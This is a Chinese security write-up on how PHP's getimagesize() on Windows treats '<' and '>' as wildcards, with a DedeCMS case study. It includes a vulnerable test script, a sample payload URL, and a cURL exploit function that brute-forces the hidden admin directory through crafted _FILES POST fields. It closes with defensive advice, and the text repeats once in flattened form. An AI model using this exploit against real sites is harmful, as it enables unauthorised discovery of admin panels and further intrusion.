网站漏洞——文件判断函数的安全风险(实战篇)
字数 1011 2025-08-29 08:32:02

PHP文件判断函数的安全风险与实战分析

一、背景概述

PHP作为以C语言为底层的开源脚本语言,在Web开发领域广泛应用。其文件操作函数属于敏感函数,不当使用会导致多种安全隐患:

  • 任意文件下载
  • 任意文件写入
  • 任意文件删除

本文重点分析getimagesize()等文件判断函数在Windows系统下的特殊行为及其安全风险。

二、Windows API特性分析

PHP在Windows系统上调用FindFirstFileExW()底层API时存在特殊字符处理特性:

字符 Windows API等效 说明
> ? 通配符(匹配单个字符)
< * 通配符(匹配多个字符)
" . 点字符

这一特性影响所有调用该API的PHP函数,包括但不限于getimagesize()

三、getimagesize()函数分析

1. 函数调用链

PHP_FUNCTION(getimagesize)
     php_getimagesize_from_any
         ... 
             tsrm_realpath_r
                 FindFirstFileExW

2. 漏洞验证代码示例

<?php
$a = $_GET['img'];
if(@getimagesize($a)){
    echo "ok";
}else{
    echo "no";
}
?>

测试用例:http://127.0.0.1/test.php?img=C:\phpStudy\www\a<\1.png

四、DedeCMS实例分析

1. 漏洞触发点

uploadsafe.inc.php中的关键代码:

if(in_array(strtolower(trim(${$_key.'_type'})), $imtypes)){
    $image_dd = @getimagesize(
$$
_key);
    if (!is_array($image_dd)) {
        exit('Upload filetype not allow !');
    }
}

2. 文件引用关系

tags.php 
    → common.inc.php (约148行)
        → uploadsafe.inc.php 
            → getimagesize()

3. EXP利用原理

利用<通配符特性逐位猜解后台目录:

  1. 构造路径如a</images/admin_top_logo.gif
  2. 通过响应判断目录是否存在:
    • 返回"Upload filetype not allow !" → 目录不存在
    • 无此错误 → 目录存在

4. EXP核心代码分析

function my_func($url, $path) {
    // 初始化cURL
    $ch = curl_init($url);
    $i = 48;
    global $version;
    
    while($i <= 90) {
        if((48 <= $i && $i <= 57) or (65 <= $i && $i <= 90)) {
            // 构造测试路径
            if($version != '5.7') {
                $admin_path = $path . chr($i) . '</img/admin_top_logo.gif';
            } else {
                $admin_path = $path . chr($i) . '</images/admin_top_logo.gif';
            }
            
            // 构造POST数据
            $data = 'dopost=save&_FILES[b4dboy][tmp_name]='.$admin_path.'&_FILES[b4dboy][name]=0&_FILES[b4dboy][size]=0&_FILES[b4dboy][type]=image/gif';
            
            // 设置cURL选项
            $options = array(
                CURLOPT_USERAGENT => 'Firefox/58.0',
                CURLOPT_RETURNTRANSFER => true,
                CURLOPT_POST => true,
                CURLOPT_POSTFIELDS => $data,
            );
            curl_setopt_array($ch, $options);
            
            // 执行请求并检查响应
            $response = curl_exec($ch);
            if(!preg_match('/(Upload filetype not allow /i', $response)) {
                $path = $path . chr($i);
                return $path;
            }
        }
        $i++;
    }
}

五、防御建议

  1. 对用户输入进行严格过滤,特别是文件路径参数
  2. 避免直接使用用户输入构造文件路径
  3. 使用白名单机制限制允许的文件类型和路径
  4. 在非必要情况下,避免在Windows服务器上部署敏感应用

六、扩展思考

  1. PHP中哪些其他函数会调用FindFirstFileExW()/FindFirstFile() API?
  2. 其他调用这些Windows API的语言是否也存在类似特性?
  3. 如何在不影响业务功能的前提下安全使用文件判断函数?

七、参考资源

  1. PHP漏洞挖掘思路+实例
  2. 先知社区相关讨论
PHP文件判断函数的安全风险与实战分析 一、背景概述 PHP作为以C语言为底层的开源脚本语言,在Web开发领域广泛应用。其文件操作函数属于敏感函数,不当使用会导致多种安全隐患: 任意文件下载 任意文件写入 任意文件删除 本文重点分析 getimagesize() 等文件判断函数在Windows系统下的特殊行为及其安全风险。 二、Windows API特性分析 PHP在Windows系统上调用 FindFirstFileExW() 底层API时存在特殊字符处理特性: | 字符 | Windows API等效 | 说明 | |------|-----------------|------| | > | ? | 通配符(匹配单个字符) | | < | * | 通配符(匹配多个字符) | | " | . | 点字符 | 这一特性影响所有调用该API的PHP函数,包括但不限于 getimagesize() 。 三、getimagesize()函数分析 1. 函数调用链 2. 漏洞验证代码示例 测试用例: http://127.0.0.1/test.php?img=C:\phpStudy\www\a<\1.png 四、DedeCMS实例分析 1. 漏洞触发点 uploadsafe.inc.php 中的关键代码: 2. 文件引用关系 3. EXP利用原理 利用 < 通配符特性逐位猜解后台目录: 构造路径如 a</images/admin_top_logo.gif 通过响应判断目录是否存在: 返回"Upload filetype not allow !" → 目录不存在 无此错误 → 目录存在 4. EXP核心代码分析 五、防御建议 对用户输入进行严格过滤,特别是文件路径参数 避免直接使用用户输入构造文件路径 使用白名单机制限制允许的文件类型和路径 在非必要情况下,避免在Windows服务器上部署敏感应用 六、扩展思考 PHP中哪些其他函数会调用 FindFirstFileExW() / FindFirstFile() API? 其他调用这些Windows API的语言是否也存在类似特性? 如何在不影响业务功能的前提下安全使用文件判断函数? 七、参考资源 PHP漏洞挖掘思路+实例 先知社区相关讨论